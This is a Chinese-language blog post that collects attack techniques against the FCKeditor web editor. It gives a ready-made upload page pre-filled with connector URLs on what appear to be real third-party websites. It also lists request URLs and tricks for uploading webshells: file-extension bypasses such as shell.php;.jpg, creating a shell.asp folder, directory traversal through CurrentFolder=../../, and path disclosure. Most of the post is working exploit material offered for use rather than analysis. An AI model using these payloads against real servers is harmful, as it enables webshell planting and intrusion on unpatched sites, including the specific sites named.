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fckeditor漏洞汇总

2014-11-03 23:08 141 查看

一、本地构造test.html上传页面

<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
*  - GNU General Public License Version 2 or later (the "GPL")
*    http://www.gnu.org/licenses/gpl.html *
*  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
*    http://www.gnu.org/licenses/lgpl.html *
*  - Mozilla Public License Version 1.1 or later (the "MPL")
*    http://www.mozilla.org/MPL/MPL-1.1.html *
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">
function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
return sUrl ;
}
function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;
document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}
function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}
function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
if ( ! sFolder )
return false ;
var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
SetFrameUrl( sUrl ) ;
return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
this.frames.frmUpload = this ;
function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}
</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">

<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="http://shuangdeng.com.cn/admin/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp" selected="selected">ASP</option>
<option value="http://www.syszly.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="http://www.oyeas.net/admin/editor/filemanager/connectors/php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" onclick="GetFolders();">Get Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" onclick="CreateFolder();">Create Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" onclick="SetAction();" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>

二、页面汇总

1、查看编辑器版本
FCKeditor/_whatsnew.html
-------------------------------------------------------------------------------------------
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
-------------------------------------------------------------------------------------------
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。

<form id="frmUpload" enctype="multipart/form-data"
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>

-------------------------------------------------------------------------------------------
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
-------------------------------------------------------------------------------------------
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
-------------------------------------------------------------------------------------------
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
-------------------------------------------------------------------------------------------
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
-------------------------------------------------------------------------------------------
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录，可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
-------------------------------------------------------------------------------------------
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符：
JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
-------------------------------------------------------------------------------------------
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
-------------------------------------------------------------------------------------------
11. FCKeditor 被动限制策略所导致的过滤不严问题
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
脆弱描述：
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
-------------------------------------------------------------------------------------------
12.最古老的漏洞，Type文件没有限制！
我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！

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标签： fck

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